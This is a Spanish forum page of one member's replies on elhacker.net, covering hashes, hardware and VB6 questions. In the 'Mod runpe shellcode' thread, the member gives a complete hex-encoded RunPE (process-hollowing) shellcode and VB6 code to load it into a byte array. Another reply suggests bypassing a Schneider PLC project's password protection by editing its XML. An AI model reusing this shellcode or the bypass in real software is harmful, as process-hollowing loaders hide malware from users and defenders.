elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía rápida para descarga de herramientas gratuitas de seguridad y desinfección


  Mostrar Mensajes
Páginas: 1 ... 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 [123] 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 ... 431
1221  Seguridad Informática / Criptografía / Re: ¿Serias capaz de deducir la funcion inversa de un algoritmo de cifrado? en: 21 Enero 2021, 23:06 pm
No soy matematico...

Lo que digo lo aplico a algoritmos de reduccion como hashes (por ejemplo, MD5), y
Con la primera afirmación y rematando con la segunda se entiende que sigas ese camino, pero es erróneo....

Los algoritmos de resumen a diferencia del cifrado son irreversibles.

Te voy a poner un simple ejemplo de una función diseñada solo para esta explicación:

funcion resumen nombre: B0B0
Descripción: Suma todos sus dígitos y lo modula con 10.
Ejemplo: sea el contenido a tratar esto: 12345678903648327523634954
 - Aplicando la primera parte del algoritmo descrito...: 1+2+3+4+ ...9+5+4 =119 (si no he sumado mal)
 - Aplicando la segunda parte del algoritmo descrito: hash = 109 modulo 10
 - Hash obtenido: = 9

Bien, ahora explícame como obtienes el contenido original solo con el hash ("9") y la descripción del algoritmo... será interesante saber qué pasa por tu mente, a ver como haces una formula igual de simple e inversa (pués más simple que este algoritmo B0B0, no te lo vas a encontrar). Si solucionas éste, te garantizo que el resto también tienen solución.

p.d.:
Creo que es totalmente posible descifrar un mensaje utilizando el mismo algoritmo
Las matemáticas, se pueden permitir el lujo de 'creer' durante un tiempo, pero al final (para convencer al resto) exige demostración sí o sí.
1222  Seguridad Informática / Criptografía / Re: Cifrado Schneider en: 21 Enero 2021, 00:27 am
Has probado al menos a cambiar los valores???, por ejemplo estos:

Citar
    <ApplicationProtection>
      <Active>false</Active>
      <Password></Password>
      <DownloadActive>true</DownloadActive>
      <DownloadPassword></DownloadPassword>
    </ApplicationProtection>
(guarda copia del fichero original y opera sobre una copia, renombrado y ubicado como y donde el original).

Lo más razonable es que sea un hash, y los hashes no son reversibles. Con fuerza bruta, a lo más que puedas llegar es a localizar una colisión y que por tanto funcione (aunque te llevaría mucho tiempo).
Ahora bien, si son 2 hashes (que es lo que me da la impresion) distintos aplicados a la misma cotraseña, entonces la posibilidad de localizar una colisión se eleva al cuadrado (el producto de encontrar una colisión en ambos algoritmos).
Es decir sería el resultado de esto:
    hash = AlgHash1(pwd) + AlgHash2(pwd)

Con info del fabricante podrías tal vez al menos saber que algoritmos se han usado, sin más datos es disparar a ciegas.
1223  Informática / Hardware / Re: Duda sobre boton en: 21 Enero 2021, 00:14 am
De cierto no te puedo decir...
...pero lo típico es que donde hay un botón POWER, junto a los respectivos leds de "Power" y "HDD", se acompaña de un botón "Reset" con su correspondiente led.

Si conservas el manual, muy probleblemente lo aclare.
1224  Programación / Programación Visual Basic / Re: Mod runpe shellcode en: 19 Enero 2021, 21:36 pm
Cita de: nosequenosenada date=1610938951
Amigo gracias por tus respuestas lo  aprecio un monton de verdad, pero el segundo comentario sobre modificar el runpe sinceramente no lo entendi, si bien mis conocomientos de programacion son  pocos, pero lo que quiero en este caso tener en una sola linea la shellcode esa que esta dividida, si me das una mano te lo super agradezco
Hola.
De entrada, mencionarte que no proceden los mensajes privados. Estos se limitan a cosas que no interesa a nadie más, pero nada de tu mensaje reúne esa condición. Simplemente puedes responder aquí y yo (o cualquiera) puede responderte cuando le venga bien.

Creo haber satisfecho tus dudas (básicamente se trata de remplazar los datos dle ejemplo, por lo que interesa), sin embargo supongo que tu falta de comprensión se deberá a tu limitación en cuanto al conocimiento del lenguaje.

Me cuesta entender como teniendo lagunas severas, nadie se aventura a escribir programas, pués al final un pograma así, no tiene garantías no ya de calidad, sino de... en fin, tampoco es que me importe, pues cada uno va a lo suyo, aunque me parece de perogrullo y por eso recomiendo aprender a andar antes de pretender correr...

Por esta que es tu segunda vez, se te dará el pez, pero la idea es enseñar a pescar y que cada uno pierda su tiempo pescando, y no que los demás pesquen para ti.


Código
  1. Private Sub Form_Load()
  2.    Dim b_ASM() As Byte       ' OJO: Si la matriz es dinámica puede asignarse arbitrariamente si es estática, debe usarse un bucle para asignar cada elemento individualmente.
  3.  
  4.    b_ASM = GetBytesFromASM
  5.    '... lo que tengas que hacer con dicho array
  6.  
  7.    ' ejemplo:
  8.    Debug.Print "el array contiene " & CStr(UBound(b_ASM) + 1) & " bytes."
  9.    For k = 0 To 31
  10.        Debug.Print "El carácter: " & Chr$(b_ASM(k)) & " es el byte: "; b_ASM(k)
  11.    Next
  12. End Sub
  13.  
  14.  
  15. Private Function GetBytesFromASM() As Byte()
  16.    Dim s_ASM(7) As String
  17.  
  18.    s_ASM(0) = "60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F030000"
  19.    s_ASM(1) = "6A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200"
  20.    s_ASM(2) = "008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200"
  21.    s_ASM(3) = "008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A"
  22.    s_ASM(4) = "2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F4000000"
  23.    s_ASM(5) = "8B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E8"
  24.    s_ASM(6) = "4F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404"
  25.    s_ASM(7) = "FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000"
  26.  
  27.    GetBytesFromASM = StrConv(Join(s_ASM, ""), vbFromUnicode)
  28. End Function
  29.  

La salida del ejemplo genera este valor (para verificar que es correcto).

(nota: 322 * 8 = 2576 bytes).
Citar
el array contiene 2576 bytes.
El carácter: 6 es el byte:  54
El carácter: 0 es el byte:  48
El carácter: E es el byte:  69
El carácter: 8 es el byte:  56
El carácter: 4 es el byte:  52
El carácter: E es el byte:  69
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 6 es el byte:  54
El carácter: B es el byte:  66
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 6 es el byte:  54
El carácter: 5 es el byte:  53
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 7 es el byte:  55
El carácter: 2 es el byte:  50
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 6 es el byte:  54
El carácter: E es el byte:  69
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 6 es el byte:  54
El carácter: 5 es el byte:  53
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48


La duda que yo tengo, sobre el caso, es que tienes valores hexadecimales.
2 caracteres hexadecimales son 1 byte, y dudo que tu array deba contener 1 byte con cada dígito... así que finalmente tendría que usar un bucle, ya que aunque VB6 puede convertir string a array de bytes (y vuceversa), lo que no hace es reconocer si tu string en realidad es un literal de un conjunto de valores hexadecimales.

Código
  1.  
  2. Private Function GetBytesFromASM() As Byte()
  3.    Dim s_ASM(7) As String, strHex As String
  4.  
  5.    s_ASM(0) = "60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F030000"
  6.    s_ASM(1) = "6A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200"
  7.    s_ASM(2) = "008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200"
  8.    s_ASM(3) = "008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A"
  9.    s_ASM(4) = "2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F4000000"
  10.    s_ASM(5) = "8B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E8"
  11.    s_ASM(6) = "4F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404"
  12.    s_ASM(7) = "FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000"
  13.  
  14.    'GetBytesFromASM = StrConv(Join(s_ASM, ""), vbFromUnicode) ' cambiamos la conversion de VB
  15.    GetBytesFromASM = StringHexToByteArray(Join(s_ASM, "")) ' por la nuestra...
  16. End Function
  17.  
  18. ' Convierte un string hexadecimal a un array de bytes.
  19. '   OJO: No revisa irregularidades (strhex nulo, tamaño impar, letras A-F en minúsculas, la aparición de otros caracteres distintos de 0-9, A-F)...
  20. Private Function StringHexToByteArray(ByRef strHex As String) As Byte()
  21.    Dim k As Long, j As Long, ix As Long, U As Byte, D As Byte
  22.    Dim bHex() As Byte
  23.  
  24.    j = Len(strHex)
  25.  
  26.    ReDim bHex(0 To (j \ 2) - 1)
  27.    For k = 1 To j Step 2
  28.        U = Asc(Mid$(strHex, k, 1))
  29.        If (U < 65) Then            ' 0-9 (48-57) --> 0-9
  30.            U = (U - 48)
  31.        Else
  32.            U = (U - 55)            ' A-F (65-70) --> 10-15
  33.        End If
  34.  
  35.        D = Asc(Mid$(strHex, k + 1, 1))
  36.        If (D < 65) Then            ' 0-9 (48-57) --> 0-9
  37.            D = (D - 48)
  38.        Else
  39.            D = (D - 55)            ' A-F (65-70) --> 10-15
  40.        End If
  41.  
  42.        bHex(ix) = ((U * 16) + D)
  43.        ix = (ix + 1)
  44.    Next
  45.  
  46.    StringHexToByteArray = bHex
  47. End Function
  48.  

probando con esta línea:
Código
  1. Private Sub Form_Load()
  2.   ' imprime en la ventana 'inmediato', una cadena hexadecimal, convertida a array de bytes y luego convertida de nuevo a string...
  3.    debug.print  strconv( StringHexToByteArray("484F4C41"),vbunicode)
  4. end sub
el resultado devuelto es:
HOLA


p.d.: Nota que tu debes saber si está línea es así:
bHex(ix) = ((U * 16) + D)
o asi:
bHex(ix) = ((D * 16) + U)
Es decir el orden de los dígitos del valor hex, debe conformarse de acuerdo a como fueron consignados.
1225  Foros Generales / Dudas Generales / Re: ¿Me quieren vender un móvil nuevo? en: 18 Enero 2021, 01:43 am
Está bien en principio desconfiar, para asegurarse... no por sistema.

https://comunidad.movistar.es/t5/Soporte-M%C3%B3vil/Cierre-Proxy/m-p/4186249#M232356
1226  Programación / Programación Visual Basic / Re: Mod runpe shellcode en: 17 Enero 2021, 03:01 am
Para unir un array de textos en un string, tienes la funcion Join. Para una cadena vacía como separador si no han de ser divididos más adelante.
Luego tienes la función StrConv para diferentes tipos de conversión a o desde string/array de bytes.

Consulta la ayuda de vb6 si lo precisas, es muy completa.
Código
  1.    dim x(0 to 2) as string, s as string
  2.    dim y() as byte
  3.    dim k as integer
  4.  
  5.    x(0) = "Buenos días"
  6.    x(1) = "tengan"
  7.    x(2) = "ustedes"
  8.  
  9.    msgbox join(x, " ")
  10.  
  11.    y = strconv(join(x," . "),vbfromunicode)
  12.    for k= 0 to ubound(y)
  13.        debug.print chr$(y(k)),
  14.    next
  15.  
  16.    msgbox strconv(y,vbunicode)
  17.  
1227  Programación / Programación Visual Basic / Re: Ejecutar un Vbs desde Recursos en: 16 Enero 2021, 09:51 am
... contu ejemplo use shell para llamar al vbs  y me tira error en lo que seria la ruta, tenes idea que puede ser?
Si, claro.
La sentencia 'now', da la fecha de 'ahora', lo que incluye loe separadores de los campos de fecha y hora, que deben reemplazarse, por ejemplo por un guión...

...como es un código al vuelo, es normal que se escape un detalle.
1228  Seguridad Informática / Hacking / Re: Hacer ataque DDoS a un amigo en: 16 Enero 2021, 02:16 am
@Xyzed
El abusar de "center", en la exposición de un post es engorrosa de leer, habra a quien le guste pero particularmente es un coñazo leer el post.

Solo es mi opinión.
También la mía. Sobretodo cuando la anchura del párrafo es excesiva, si se limita a no más de 40 caracteres por línea la cosa es algo distinta.

...ya me encontré con otro mensaje igual (fatal de leer) y opté por no leerlo... pero ojo, solo el texto, las imágenes no importa la alineación que le dés.
1229  Informática / Hardware / Re: Combos chinos de hardware a precios ridículos en: 16 Enero 2021, 02:11 am
Me gustaría saber que opinan sobre este tema :rolleyes:

Personalmente creo que es un riesgo que no estoy dispuesto a tomar, me han pasado situaciones ...
Si es fabricado por chinos, opino lo mismo. Es un riesgo molesto inaceptable.

Hay almacenistas que se dedican a adquirir stoks defectuosos y a revender, pueden salir bien o mal, ya que no se prueban a conciencia... a veces un fabricante elimina un lote completo porque no pasó la revisión, pero quizás solo unos pocos del lote estaban defectuosos, el caso es que suele ser más caro venderlos (y tener que perder con la garantia) o comprobarlos uno por uno, que deshacerse de ellos... ...un revendedor sin escrúpulos, tampoco los comprueba, los vende y allá tú... al que le toque, le toca.

Si son de segunda mano, igualmente está sujeto a la incertidumbre. En fin si fuera de otro país que no fuera China, habría algún tipo de garantía implícita, pero no siendo el caso... yo personalmente desistiría.
1230  Programación / Programación Visual Basic / Re: Ejecutar un Vbs desde Recursos en: 16 Enero 2021, 02:01 am
Primero tienes que  usar el editor de recursos para añadir un "CustomResource", que en el caso dado será elegir el fichero vbs y guardar el fichero de recursos (te lo pide antes de compilar).

Luego en tiempo de ejecución tienes que usar la función LoadResData
Ten presente que dicha función devuelve un array de bytes, con los que ya tu trabajas como te convenga, lo puedes guardar a un fichero y ejecutar y al terminar borrarlo, etc...

Un simple ejemplo de muestra...
Código
  1. Private Sub RescatarElVbs()
  2.    Dim canal As integer, ruta As String
  3.    Dim vbsFile() As Byte
  4.  
  5.    canal  = FreeFile
  6.    ruta  = App.Path & "\" & cstr(now) & ".vbs"
  7.    Open ruta  For Binary As #canal
  8.    vbsFile = LoadResData(108, "MiVBS")  ' valores ficiticios de ejemplo, deben ser loa que contengan el recurso.
  9.    Put #canal , , vbsFile
  10.    erase vbsFile
  11.    Close #canal
  12.  
  13.   ' shell(...)  o lo que quieras hacer con ello.
  14.   ' kill ruta .. cuando termines.
  15. end sub
  16.  



Páginas: 1 ... 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 [123] 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 ... 431
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines